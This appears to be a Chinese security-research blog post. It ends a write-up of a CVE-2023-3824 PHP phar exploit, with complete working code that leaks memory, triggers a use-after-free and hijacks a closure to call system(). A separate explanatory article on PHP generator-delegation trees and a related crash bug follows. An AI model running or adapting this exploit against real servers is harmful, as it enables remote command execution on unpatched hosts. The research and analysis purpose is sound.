这里我们还是老手法, 利用zend_closure.std.zend_object_handlers 位于(Zend/zend_closures.c: 36) 来泄露closure_handlers (位于 Zend/zend_closures.c:46) 的地址.

其中zend_closure通过创建闭包函数来生成, 即我们通过生成大量的闭包函数来填充heap.

1
2
3
4
$f_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
$f_arr[$i] = function(){};
}

然后我们不断修改sub_path让其正好落在我们的申请某个zend_closure开头, 平均4次即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while (1) {
$it = create_RDI();
$sub_it = $it->getChildren();

// preserve every iterator to avoid double freeing on sub_path
$it_arr[] = $sub_it;

// trigger overflow
foreach($sub_it as $file) {}

$data = $sub_it->getSubPath();

// refcounted && is_object, zend_closure本身也是一个zend_object, 其鉴别方式为首8字节为0x800000001
if (read64($data, 0) == 0x800000001) {
$closure_handlers = read64($data, 0x18);
break;
}
}

拿到了closure_handlers加上相关偏移地址, 我们就可以拿到zif_system的地址.

修改闭包函数

首先我们需要在heap上布置可控的内存结构

1
2
3
4
5
6
7
8
9
10
11
12
13
$str_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
$str_arr[$i] = str_repeat('E', 0x140 - 0x20);
// 作为sub_path是否指向正确位置的unique identifier.
$str_arr[$i][0] = "I";
$str_arr[$i][1] = "L";
$str_arr[$i][2] = "I";
$str_arr[$i][3] = "K";
$str_arr[$i][4] = "E";
$str_arr[$i][5] = "P";
$str_arr[$i][6] = "H";
$str_arr[$i][7] = "P";
}

依然是不断修改sub_path让其正好落在我们的申请某个zend_string开头,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while (1) {
// init sub_path
$it = create_RDI();
$sub_it = $it->getChildren();

// trigger overflow
foreach($sub_it as $file) {}

$data = $sub_it->getSubPath();
if (substr($data, 0x18, 8) == "ILIKEPHP") {
// trigger UAF
unset($sub_it);
$f = function(){};
break;
} else {
// prevent double freeing
$it_arr[] = $sub_it;
}
}

然后修改我们可控的zend_string结构, 达到修改闭包函数的任务

1
2
3
4
5
6
7
8
9
10
11
for ($i = 0; $i < 0x2024; $i++) {
// 1. function type: internal function
// zend_closure.function.internal_function.type = 0x38
// zend_string_header = 0x18
write8($str_arr[$i], 0x38 - 0x18, 1);

// 2. function handler: zif_system
// zend_closure.function.internal_function.handler = 0x70
// zend_string_header = 0x18
write64($str_arr[$i], 0x70 - 0x18, $zif_system);
}

完整的Exploitation

位于[3].

PHP版本commit: be71cadc2f899bc39fe27098042139392e2187db

编译选项: ./configure --disable-all --enable-phar

gen_phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if (file_exists("m2.phar")) {
unlink("m2.phar");
}

$phar = new Phar('m2.phar');

// size of target UAF bin is the size of zend_closure
$dir_name = str_repeat('C', 0x140 - 0x1);
$file_4096 = str_repeat('A', PHP_MAXPATHLEN - 1).'B';

// create an empty directory
$phar->addEmptyDir($dir_name);

// create normal one
$phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', 32), 'This is the content of the file.');
// trigger overflow
$phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');

trigger.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
<?php

// zif_system_offset - closure_handlers_offset
$zif_system_offset = -0x8a1390;
$it_arr = array();

$zif_system = leak_zif_system_addr();
echo "[*] zif_system address: 0x". dechex($zif_system). "\n";

trigger_UAF($zif_system);

function create_RDI()
{
$it = new RecursiveDirectoryIterator("phar://./m2.phar");

// find the first directory
foreach ($it as $file) {
// echo $file . "\n";
if($file->isDir()) {
break;
}
}

return $it;
}

function leak_zif_system_addr() {
global $zif_system_offset;
global $it_arr;

// fill memory chunk with lots of zend_closures;
$f_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
$f_arr[$i] = function(){};
}

// find zend_closure
$closure_handlers = 0;
while (1) {
$it = create_RDI();
$sub_it = $it->getChildren();

// preserve every iterator to avoid double freeing on sub_path
$it_arr[] = $sub_it;

// trigger overflow
foreach($sub_it as $file) {}

$data = $sub_it->getSubPath();

// refcounted && is_object
if (read64($data, 0) == 0x800000001) {
$closure_handlers = read64($data, 0x18);
break;
}
}

if ($closure_handlers == 0) {
exit("bad closure handlers\n");
}

return $closure_handlers + $zif_system_offset;
}

function trigger_UAF($zif_system) {
global $it_arr;

// fill memory chunk with lots of 0x140-size strings,
// ensure address of some strings that are exactly starting with prefix 0040 or 0080.
$str_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
$str_arr[$i] = str_repeat('E', 0x140 - 0x20);
$str_arr[$i][0] = "I";
$str_arr[$i][1] = "L";
$str_arr[$i][2] = "I";
$str_arr[$i][3] = "K";
$str_arr[$i][4] = "E";
$str_arr[$i][5] = "P";
$str_arr[$i][6] = "H";
$str_arr[$i][7] = "P";
}

$f = NULL;
while (1) {
// init sub_path
$it = create_RDI();
$sub_it = $it->getChildren();

// trigger overflow
foreach($sub_it as $file) {}

$data = $sub_it->getSubPath();
if (substr($data, 0x18, 8) == "ILIKEPHP") {
// trigger UAF
unset($sub_it);
$f = function(){};
break;
} else {
// prevent double freeing
$it_arr[] = $sub_it;
}
}
// modify closure
// 1. function type: internal function
// 2. function handler: zif_system
for ($i = 0; $i < 0x2024; $i++) {
// 1. function type: internal function
// zend_closure.function.internal_function.type = 0x38
// zend_string_header = 0x18
write8($str_arr[$i], 0x38 - 0x18, 1);

// 2. function handler: zif_system
// zend_closure.function.internal_function.handler = 0x70
// zend_string_header = 0x18
write64($str_arr[$i], 0x70 - 0x18, $zif_system);
}

$f('uname -an');
}

function read64($str, $p) {
$v = 0;
$v |= ord($str[$p + 0]);
$v |= ord($str[$p + 1]) << 8;
$v |= ord($str[$p + 2]) << 16;
$v |= ord($str[$p + 3]) << 24;
$v |= ord($str[$p + 4]) << 32;
$v |= ord($str[$p + 5]) << 40;
$v |= ord($str[$p + 6]) << 48;
$v |= ord($str[$p + 7]) << 56;
return $v;
}

function write8(&$str, $p, $v){
$str[$p] = chr($v & 0xff);
}

function write64(&$str, $p, $v) {
$str[$p + 0] = chr($v & 0xff);
$v >>= 8;
$str[$p + 1] = chr($v & 0xff);
$v >>= 8;
$str[$p + 2] = chr($v & 0xff);
$v >>= 8;
$str[$p + 3] = chr($v & 0xff);
$v >>= 8;
$str[$p + 4] = chr($v & 0xff);
$v >>= 8;
$str[$p + 5] = chr($v & 0xff);
$v >>= 8;
$str[$p + 6] = chr($v & 0xff);
$v >>= 8;
$str[$p + 7] = chr($v & 0xff);
}

引用

  1. 《挑衅执法机构,LockBit黑客犯罪团伙死灰复燃》, https://mp.weixin.qq.com/s/sLC_zuW0Wyk91i7aITbygA
  2. PHP official report, https://github.com/php/php-src/security/advisories/GHSA-jqcx-ccgc-xwhv
  3. 完整exploitation repo, https://github.com/m4p1e/php-exploit/tree/master/CVE-2023-3824
  4. 拥抱php之CVE-2019-11043, https://m4p1e.com/2019/11/03/CVE-2019-11043/

拥抱PHP之在crash中遇见generator

0. crash样本 缘起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
function p1(){
yield 1;
yield 2;
yield 3;
}

$p1 = p1();

function gen(){
global $p1;
yield from $p1;
}

$gen = gen();
$gen->rewind();

function child(){
global $gen;
yield from $gen;
}

$child = child();
$child->rewind();

function new1() {
global $p1;
yield from $p1;
}

$new = new1();
$new->rewind();

$child->next();
$child->next();
$child->next();
echo 1;

在工作时, 偶然之下构造出了上面一个例子, 这个例子会导致PHP7.4和7.3 (全小版本, 后同) 崩掉 (null pointer dereference), 而PHP7.0, PHP7.1, PHP7.2没有崩掉是因为写了一行垃圾代码 (指的是完全没有任何作用且还会带来负面影响的代码) 阴差阳错地导致这个问题被带过了, 从PHP7.3开始这行垃圾代码被拿掉了, 问题就显示出来了. 最后在PHP8中彻底简化了delegated generator tree的构造, 这个问题也自然没有了. 从PHP历史来看, 这个问题一直都没有被发现, 我觉得这和generator内部实现的复杂度是有紧密关系的.

在这里,我必须要吐槽一下相关PHP开发者, delegated generator tree这个结构在PHP7中无比复杂, 文档和相关资料也少的可怜 (基本没有), 导致相关代码读起来会异常难受, 我花费了巨额地时间才彻底理顺逻辑. 借此, 有了这篇文章, 希望将PHP generator内部实现中最复杂的那部分内容, 以尽可能无痛地方式传递给读者或者后来者. 同时这篇文章中也有一些我的小心思, 全文只有一处完整地复制粘贴了PHP内部代码的地方 (一个结构定义), 其余地方我都使用伪代码来描述过程, 因为我不希望此篇文章成为一个类似"读代码的文章"的典范, 而希望是在婉婉道来一个有趣的故事. 另外在读这篇文章的时候, 你不需要对PHP内部有任何的了解, 我保证.

1. Delegated generator tree (委托构造器树)

这一节我们将介绍什么是delegated generator tree.

1.1. Generator 概念速成

首先简要介绍一下 generator (构造器)的概念. 这个feature在很多编程语言 (python 和 ECMAScript等) 中都有存在, 它的概念也并不复杂. 你可以将它理解为"一个特殊的iterator (迭代器), 但是长成了函数的模样". 它是一个iterator意味着它天然地支持一些操作, 比如将iterator指向第一个元素的 rewind操作, 获取iterator当前指向元素的current操作, 将iterator指向下一个元素的 move_forward操作等等, 不同语言上的实现可能有些许不同. 而它长成了函数的样子意味着你可以像函数调用一样去调用它, 但是它的并不会因此而直接执行, 你需要通过前面提到的iterator的相关操作去拨动它. 例如在PHP中一个最简单generator例子为

1
2
3
4
5
6
7
8
9
function gen () {
yield 1;
return 2;
}
$gen = gen();
$gen->rewind();
echo $gen->current(); // output: 1
$gen->next();
echo $gen->getReturn(); // output: 2

其中有一个关键字yield, 它的出现就决定了它所在的函数是一个generator. 当你第一次调用这个函数的时候, 你就会得到一个generator实例, 如这里的第5行. 之后你就可以将其视为一个iterator来操作, 如这里的第6-8行. 当你使用rewind()操作时, iterator就会指向它的第一个元素, 对generator而言, 这个操作会告诉它, 开始执行对应的函数, 并且在执行完第一个yield之后停下来, 并将这个yield产生的值视为一个元素. 如这里这个第二行yield执行会产生一个常量1. 值得注意是, 当在generator实例已经开始运行之后, 再使用rewind()操作, 将没有任何作用, 因为PHP不允许rewind一个正在运行的generator实例. 当你使用next()操作时, iterator就会指向它的下一个元素, 对于generatora而言, 这个操作会告诉它, 继续从当前位置执行, 直到下一个yield执行之后再停下来, 或者遇到return直接完成执行. 如这里并没有第二个yield, 使得当前generator实例在执行return之后就关闭了. generator 除了支持必要的iterator操作, 也支持一些其他特殊的操作, 如这里的getReturn()操作, 它可以获取对应generator实例的返回值. 甚至你也可以通过send()操作给generator实例内部传递值. 相关的操作均可以在PHP 官方文档 找到, 这里就不累述了.

1.2. Delegated generator tree的由来

从上面对generator介绍看来, 它并不复杂, 但是引入yield from之后, generator的世界就开始变的复杂了. PHP官方文档对yield from的介绍如下:

Generator delegation allows you to yield values from another generator, Traversable object, or array by using the yield from keyword.

所以yield from对应的机制应该称之为"Generator delegation" (构造器委托), 可以看到它支持3种delegated values, 我们的关注重点delegated value为generator的情况, 后面的两种我们在这里简单介绍一下. 例如

1
2
3
4
5
6
7
8
9
10
function gen () {
yield from [1,2,3];
}
$gen = gen();
$gen->rewind();
echo $gen->current(); // output: 1
$gen->next();
echo $gen->current(); // output: 2
$gen->next();
echo $gen->current(); // output: 3

当执行yield from之后, 此时iterator会委托给它后面的对象, 因此当我们拨动next方法的时候, 实际在拨动另外一个iterator, 当这个新的iterator被使用完毕之后, 就会返回调用yield from的地方继续执行.

可以想象一下yield from后面的表达式是一个generator实例的时候会发生什么? 为方便描述, 我们将调用yield from的generator称为outer generator, 而被调用的那个generator称为inner generator. 例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function gen1 () {
yield 1;
yield 2;
}

function gen2 () {
yield from gen1();
yield 3;
}

$gen = gen2();
$gen->rewind();
echo $gen->current(); // output: 1
$gen->next();
echo $gen->current(); // output: 2
$gen->next();
echo $gen->current(); // output: 3

可以看到在使用rewind()操作之后, 指向的第一个元素是由gen1产生的, 这是因为在gen2的一开始, 我们通过yield from 引入了gen1作为delegated value, 在这些值被使用完之前, 原generator不会向下执行. 难道你不觉得这里非常奇妙吗 ? 我们拨动outer generator向前, 却是inner generator在向前, 并且我们对outer generator取值也总是能取到正确的值.

PHP内部究竟是如何实现它的呢? 不着急, 我们再来看一些更加复杂的例子, 让你对它有一些更深层次的思考, 以便于对后文有更好的理解. 假如我们在gen1也增加一个yield from呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function gen0 () {
yield 4;
}

function gen1 () {
yield 1;
yield 2;
yield from gen0();
}

function gen2 () {
yield from gen1();
yield 3;
}

$gen = gen2();
$gen->rewind();
echo $gen->current(); // output: 1
$gen->next();
echo $gen->current(); // output: 2
$gen->next();
echo $gen->current(); // output: 4
$gen->next();
echo $gen->current(); // output: 3

对照函数调用时的call chain, 这里每次调用yield from的时候也会构造一条类似的chain, 我们可以将其称之为delegated generator chain, 比如在第12行这里就会形成gen2 -> gen1, 而在第8行这里就会形成gen2 -> gen1 -> gen0, 其中一个箭头就表示一次yield from执行, 而箭头方向对应outermost到innermost的方向.

这里会给我们一种感觉, 当我们拨动一条delegated generator chain上的某个generator时, 总是会先拨动这条chain上innermost generator. 我们把简单地修改一下上面的例子, 让我们的感觉更加明显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function gen0 () {
yield 4;
yield 5;
yield 6;
}

function gen1 () {
yield 1;
yield 2;
yield from gen0();
}

function gen2 () {
global $gen1;
yield from $gen1;
yield 3;
}

$gen1 = gen1();
$gen2 = gen2();
$gen2->rewind();
echo $gen2->current(); // output: 1
$gen2->next();
echo $gen2->current(); // output: 2
$gen2->next();
echo $gen2->current(); // output: 4

$gen1->next();
echo $gen1->current(); // output: 5

$gen2->next();
echo $gen2->current(); // output: 6

这里我们单独拿到了gen1的引用, 首先我们三次连续拨动gen2, 在最后一次拨动gen2时, 在gen1yield from下形成了delegated generator chain为gen2 -> gen1 -> gen0 . 此时gen0作为innermost generator, 所以我们拿到了gen0中第一个yield产生的值. 而后我们换gen1来拨动, gen1也是这条chain上的一个delegated generator, 因此我们拿到了gen0中第二个yield产生的值. 最后我们再切回gen2来拨动, 依然也是预期的值.

所以这里我们给出第一个重要的原则:

Principle1. 假设某个generator处于由yield from生成的delegated generator chain上, 当我们使用next()拨动它时, 会首先拨动它所在chain的innermost generator. 同理使用current()获取当前元素时, 也会去获取该innermost generator指向的元素.

为了节省篇幅, 后面将使用chain来指代delegated generator chian. 聪明的你, 可能要问一个问题了, 有没有可能一个generator位于两条不同的chain中呢 ? 非常好的问题, 答案是肯定存在, 比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function gen0 () {
yield 0;
yield 1;
}

function gen1 () {
global $gen0;
yield from $gen0;
}

function gen2 () {
global $gen0;
yield from $gen0;
}

$gen0 = gen0();
$gen1 = gen1();
$gen2 = gen2();
$gen1->rewind();
$gen2->rewind();
echo $gen1->current(); // output: 0
echo $gen2->current(); // output: 0

在拨动gen1gen2之后, 就生成了两条具有相同innermost generator的chains, 如下: (我们去掉了chain连线上的箭头, 因为画起来会很乱, 我们约定inner genearator总是在outer generator的上面)

1
2
3
    gen0
/ \
gen1 gen2

此时gen0位于两条不同的chains中. 咋一看, 这里的结构看起来就是一棵tree, 而一条delegated generator chain实际就是一条root-to-leaf path. 我们需要仔细验证一下, 这里是不是真的符合tree结构, 需要考虑所有delegrated generator chain可能长成的样子出发. 我们默认大家都熟悉基本数据结构Tree中的一些关键词, 比如root结点 (根结点), parent结点 (父节点), child结点 (孩子结点), ancestor结点 (祖先结点), descendant结点 (后继结点).

#1 任意时刻一generator实例只能执行一个yield from.

因此不可能出现以下情况, 这就意味确实可能只存在一个root结点.

1
2
3
gen1    gen2
\ /
gen0

#2 PHP不允许环的出现

以下例子会抛出一个异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function gen0 () {
global $gen1;
yield 1;
yield from $gen1;
}

function gen1() {
yield from gen0();
}

$gen1 = gen1();
$gen1->rewind();
echo $gen1->current();
$gen1->next();

因此我们不用考虑环出现的情况.

综合#1和#2, 我们完全可以用tree结构代替delegated generator chains. 并且我们可以确保 "任一generator在某一时刻只能处于唯一的一颗delegated generator tree上", 换句话说每个generator都有唯一的root结点, 这是因为#1可以保证tree不会分叉. 由此delegated generator tree正式进入我们的视野, 而delegated generator chain只不过是一条root-to-leaf path. 之后我可能会频繁地给出各种形式的delegrated generated trees, 但是为了节省篇幅, 我不会同时给出对应它们的PHP代码了, 默认它们都是可以以某种方式被构造出来的. 在继续往下之前, 我们首先明确(或者强调)几个概念:

  1. 对于一特定的yield from, 它对应的inner generator和outer generator对应delegated generator tree上一对parent-child结点.
  2. 对于一特定的delegated generator tree, 它的每一条root-to-leaf path都对应着一条delegated generator chain, 这些chains拥有相同的innermost genearator, 即为该delegated generator tree的root结点.
  3. 对于一特定的generator, 只能处于唯一确定的delegated generator tree上.

那么这里我们可以给出第二个重要的principle:

Principle2. 给定一个generator, 当我们使用next()拨动它时, 会首先拨动它所在delegated generator tree的root结点. 同理使用current()获取当前元素时, 也会去获取该root结点指向的元素.

注意我们使用 "结点" 指特定的generator. 我们可以将内部没有yield from语句, 且也不是其他generator的delegated generator的generator视为一个tree of single node, 即只有一个结点的tree, 其root结点就是它自己. 为了进一步节省篇幅, 我将直接使用tree来指代delegated generator tree.

PHP内部使用如下结构连接tree上的结点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct _zend_generator_node {
zend_generator *parent; /* NULL for root */
uint32_t children;
union {
HashTable *ht; /* if multiple children */
struct { /* if one child */
zend_generator *leaf;
zend_generator *child;
} single;
} child;
union {
zend_generator *leaf; /* if > 0 children */
zend_generator *root; /* if 0 children */
} ptr;
};

后文我将使用node来指代这个结构, 其中有4个字段:

  1. node.parent用来存储parent结点.
  2. node.single用来存储child结点的个数.
  3. node.child用来存储child结点.
  4. node.ptr用来存储一些信息.

此时你需要对这个结构有一些大致的了解即可. 这是本文唯一一处直接使用PHP内部代码的地方, 因为我们需要用它来描述delegated generator tree的设计. 注意当我们提到结点的时候, 依然指得是某一个特定的generator, 而不是某个node结构. 对于node结构, 我们会使用类似gen.node来指代generator gen中的node结构.

1.3 维护 delegated generator tree 概览

首先要明确我们引入delegated generator tree的核心目的是"为了更好的维护 delegated generator chains", 而delegated generator chain是PHP准确处理任何一个generator的基础. 这里面存在两个难点问题:

  1. 不同层次上的generator如何快速地找到对应的currently executing geneartor? 简而言之如何让delegated generator tree上的各个结点能够快速地找到root结点.
  2. 不同层次上的generator对应的currently executing generator完成执行时, 如何切换到下一个generator继续执行 ?

对于第一个问题, 我们可以有非常直接的方法, 即从指定的结点开始往上遍历node.parent直到root结点. 但是你如果考虑一个非常高的tree和它的一个leaf结点, 每次地拨动这个leaf结点都需要查找一次, 如果这个过程非常频繁, 那么代价并不小. 所以我们是否可以考虑引入类似cache的东西 ? 比如在第一次查找之后就保存这个root结点, 这个方法显然是奏效的, 但是你需要额外维护这个cache. 如果这个root结点已经完成执行了, 你可能需要考虑更新所有引用它的地方, 以免二次误用. 进一步思考, 这个cache可能有多种形式:

  • multiple cache: 允许多个结点保存同一个root结点.

那么必须在root结点处维护一张表, 存储所有引用它的地方, 保证在它被改变之后, 能够及时地更新到引用它的结点.

  • single cache: 一个root结点只允许一个结点引用.

那么我们只需要在root结点上引用这个结点即可.

为什么我们提到这两种cache形式呢 ? 考虑下面的tree

1
2
3
4
5
    gen0
/
gen1
/
gen2

其中gen1gen2root结点都是gen0. 在multiple cache下, 无论怎样拨动gen1还是gen2都可以使用cache机制. 而在single cache下, 当我们从拨动gen1切换到gen2或者从gen2切换到gen1时, cache就会失效, 但是连续拨动时依然可以享受到cache带来的好处.

PHP7和PHP8均使用的第二种cache方式, 我将其称之为核心设计1. 但是PHP7还往前走了一步, 这里我们注意到gen1gen2对应同一个root结点, 那么有没有办法让它们共享这个root结点呢? 并且在root结点上不用同时引用它们两个结点. 答案是,

  1. gen1中存一个关于gen2的引用, 而不是直接存root结点.
  2. gen2中存root结点.
  3. 在拨动gen1时, 直接从gen2中取root结点.

可以这样做的原因是, 对于一个结点而言, 它和它的所有descendant结点都拥有着相同的root结点. 换言之, 如果它的某个descendant结点已经拥有了关于root结点的引用, 那么我们可以直接去问这个descendant结点要root结点即可. 另外对于这个descendant结点的选择, 应当最好是一个leaf结点, 因为它可以成为更多其他结点的descendant结点. 这就是PHP7中delegated generator tree的独有的核心设计2.

对于第二个问题, 简而言之就是当前root结点完成执行之后, 我们应当如何选择child结点作为新的root结点. 我们考虑两种情况下的tree

1
2
3
4
5
  gen0            gen2
/ / \
gen1 gen3 gen4
/
gen5

对于左边这颗树, 当gen0完成执行之后, 我们再拨动gen1, 此时gen0只有一个child结点, 所以选择只有一个. 而对于右边这棵树, 同样当gen2完成执行之后, 我们再拨动gen5, 此时gen2有两个child结点, 正确的选择应该是gen3, 那么这里应该如何准确地确定它呢 ? 同样我们可以直接从gen5开始向上遍历, 直到碰到gen2的某个child结点, 这是PHP8中的做法.

而PHP7中的做法则是对每个结点的child结点建立一张索引表, 在返回选择child结点的过程中,我们可以根据当前正在拨动的generator信息查表得到对应的child结点. 这一做法中延续了之前我们刚刚提到的核心设计1. 为理解这一建表过程, 我们从最直觉的方法出发, 再回归PHP7中的方法.

想象我们正在结点gen上存储一个child结点 c, 并且假定这个child结点有一些descendant结点, d1, d2, ..., dn等等. 那么我们在gen上存储一些ordered pairs, (c,c), (c, d1), (c, d2), ... (c, dn). 未来当gen完成执行,我们再次拨动d1, d2, ..., dn中的某个结点di时, 我们可以根据di查询gen中的ordered pairs马上知道我们选择的child结点是c. 这一ordered pair结构显然可以用哈希表来完成 (让di作为index), 这就是PHP7中独有的核心设计3. 如果我们继续深度思考的话, 这里实际可能并不需要存储这么多ordered pairs, 考虑拥有下面结构的c

1
2
3
4
5
6
7
     c
/ \
d1 d4
/
d2
/
d3

类似于前面提到的核心设计, 当c完成执行是, 这里拨动d2 选择的cchild结点, 和拨动任意一个d2descendant结点选择的cchild结点是一样的. 因此这里我们也可以让d2保存一个d3的引用, 然后我们在c上只需要保存两个ordered pair (d1, d3), (d1, d4) , 并且在查询d2时, 我们转而使用d3来作为查询index, 这就是PHP7中独有的核心设计4. 在实际建表的过程中, 还要更复杂一些, 我们会详细提到.

最后我们小小地总结一下, generator delegated tree有两个需维护重点:

  1. 快速找到一个结点对应的root结点.
  2. 更新已经完成执行的root结点时, 需要快速地找到退回的child结点.

在这两个查找操作中都用到了相同的思想, 即一些结点是可以共用查询的结果, 通过这个fact, 我们希望减少复用结果所带来的空间复杂度, 于是乎诞生了核心设计2核心设计4. 而核心设计1核心设计3的思想就比较朴素, 即为了减少遍历tree带来的时间复杂度. 下面几个小节,我们将完整的介绍整个维护过程.

1.4. 维护 Delegated generator tree 之结点初始化

当一个generator实例gen产生的时候, 我可以将它看做只有一个结点的tree, 相关初始化操作如下:

1
2
3
4
5
6
7
function init_gen_node (gen) {
gen.node.parent = null;
gen.node.children = 0;
gen.node.single.child = null;
gen.node.single.leaf = null;
gen.node.ptr.root = gen
}

这样一个结点自然是没有parent结点和child结点. 值得注意是我们用到node.ptr, 这里我们有一个约定:

  1. 若给定结点gen是一个leaf结点, 则使用gen.node.ptr.root记录它所在tree的root结点.
  2. 反之, 则使用gen.node.ptr.leaf记录以它为root结点所在子树的某个leaf结点.

我们可以用一个简单的例子来说明:

1
2
3
4
5
    gen0
/
gen1
/ \
gen2 gen3

图中结点node.ptr使用情况为:

  1. gen2.node.ptr.root == gen0
  2. gen3.node.ptr.root == gen0
  3. gen1.node.ptr.leaf == gen2
  4. gen0.node.ptr.leaf == gen2

你可能会问如果有多个leaf结点, 我们应该记录哪一个呢? 例如这里就有两个leaf结点, 答案是没有区别, 记录任意一个leaf结点都行, 在后文中你将看到原因. 另外可以看到在初始化过程中, 我们使用是node.ptr.root, 这是因为此时的gen结点既是一个root结点也是一个leaf结点, 无论使用node.ptr另一种方式均可. 同时我们可以称呼这样的结点为root-leaf结点.

1.5. 维护 delegated generator tree 之新增child结点

这一节我们将描述如何两个结点在yield form调用过程中, 其中一个结点是如何被连接为另一个结点的child结点. 调用yield from的generator将作为这个过程中的child结点. 给定两个generators分别记为genchild, 其中child将作为child结点连接到gen上. 我们将根据genchild本身的结构来分类讨论他们的连接过程. 注意每一个case的连接操作可能并不是完整的, 我们主要关注是在不同case, 可能需要引入的新操作是哪些. 把每个case补全会导致,case与case之前出现重复, 并且讲解臃肿.

#1 gen为一个leaf结点.

这个case下新增过程相对来说比较好理解, 图式新增过程如下:

1
2
3
                      gen
gen + child --> /
child

那么这里的连接过程如下:3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function add_child_to_leaf_node (gen, child) {
// assert(gen1.node.parent == null && gen1.node.children == 0)

leaf = child.node.children ? child.node.ptr.leaf : child;

leaf.node.ptr.root = gen.node.ptr.root;
gen.node.ptr.leaf = leaf;


gen.node.child.single.leaf = leaf;
gen.node.child.single.child = child;

child.node.parent = gen;
}

// add_root_leaf_node_to_root_leaf_node (gen1, gen2)

用自然语言来描述如下:

  1. 第5行, 第7-8行: genchild构成了父子, 它们应当具有相同的root结点. 根据核心设计2, 此时我们应当去选择一个gendescendent结点, 让gen保存这个结点的引用. 这个descendent结点最好是一个leaf节点, 当child是不是一个leaf结点的时候, 这里的最好选择应当是它上面存放的某个leaf结点, 反之leaf只能是child. 第7-8行直接对应核心设计2的操作, 注意这里我们可以直接使用gen.node.ptr.root来获取root结点,是因为在假设条件中gen是一个leaf结点.
  2. 第10-11行: 存储child作为genchild结点时, 根据核心设计3, 我们应当存储一个order pair, 这里只能是(child, leaf).
  3. 第13行: 维护正常的父子结点关系.

#2 gen有一个child结点.

图式新增过程如下:

1
2
3
             gen        gen
/ / \
gen --> c1 --> c1 child

引入这个case, 是想指明使用node.child.singlenode.child.ht转变. 只有一个order pair的时候, 我们直接使用node.child.single即可, 而需要存储多个ordered pairs就只能用哈希表了. 相关转变过程如下

1
2
3
4
5
6
7
function one_child_to_multiple_children(gen, child) {
child_leaf = child.node.children ? child.node.ptr.leaf : child
c1_leaf = gen.node.single.leaf;
gen.node.ht = new_ht();
ht_add(gen.node.ht, c1_leaf, c1); // 将c1对应的pair加入ht
ht_add(gen.node, child_leaf, chi就只能变成ld); // 将child对应的pair加入ht
}

#3 gen是一个leaf结点且有parent结点.

情况开始变的复杂, 图式新增过程如下:

1
2
3
4
5
6
7
8
9
10
11
                                  ...
... /
/ p2
p2 /
/ p1
p1 + child /
/ \ --> gen
gen ... \
child
\
...

它对应的连接过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function add_child_to_leaf_node_has_parent(gen, child)
{
// assert(gen.node.childen == 0 && gen.node.parent != null)

leaf = child.node.children ? child.node.ptr.leaf : child;

leaf.node.ptr.root = gen.node.ptr.root;
gen.node.ptr.leaf = leaf;

// 依次向上遍历gen的祖先结点.
next = gen.node.parent;
while (next) {
if (next.node.children > 1) {
child2 = ht_find(next.child.ht, gen);
ht_del(next.child.ht, gen); // 从ht中删除以gen为index的元素
ht_add(next.child.ht, leaf, child2); // 在ht中添加以leaf为index元素
}
next.node.ptr.leaf = leaf
next = next.node.parent;
}
}

第11-20行: gen原本是一个leaf结点, 那么它有可能被其他结点引用, 可能引用的地方为它的ancestor结点的node.child.single.leaf 或者 node.child.ht或者 node.ptr.leaf处. 此时gen不再是一个leaf结点,因此我们需要对这三个地方做一个必要的更新. 对于第一个和第三个地方, 我们之间将gen更新为leaf即可, 而第二个地方, 我们需要把包含gen的ordered pair取出来, 把gen换成leaf.

显然这里的代码忽略了更新node.child.single.leaf这个地方, 即ancestor结点只有一个child结点的时候, 会使得这个ancestor结点保存错误的ordered pair, 最后在它完成执行之后,我们可能无法正确地找到退回child结点. 我们在最初给出的crash例子对应了下面的构造过程:

1
2
3
4
5
 p1              p1                    p1
/ ---> / ---> / \
gen gen gen new1
\ \
child child

注意中间这个图, 对应了这里case所代表的连接过程, 连接child之后, p1.child.single.leaf依然保存了gen, 而不是真正所需要的child. 那么在下一步构造中, 我们把new也连接到p1下, 使得p1会使用node.ptr.ht来保存两个child结点对应的两个ordered pair, 显然(gen, gen)是其中一个pair. 最后我们尝试拨动child->next()使得p1完成执行, 这个时候p1被关闭, 需要使用child来查询 p1.child.ht来更新root结点, 结果就是查询失败最终导致crash. 因此这里需要打个patch:

1
2
3
4
5
6
7
    if (next.node.children > 1) { 
child2 = ht_find(next.child.ht, gen);
ht_del(next.child.ht, gen);
ht_add(next.child.ht, leaf, child);
+ } else {
+ next.node.child.single.leaf = leaf;
+ }

那为什么PHP7.0, 7.1, 7.2没崩呢? 因为有一行垃圾代码使得gen在完成与child连接之后拥有了两个child结点, 即重复存储了child, 原本只有一个child结点, 使得在最后连接new1的时候根本不会用到未更新的p1.child.single.leaf, 参考下面的case#4.

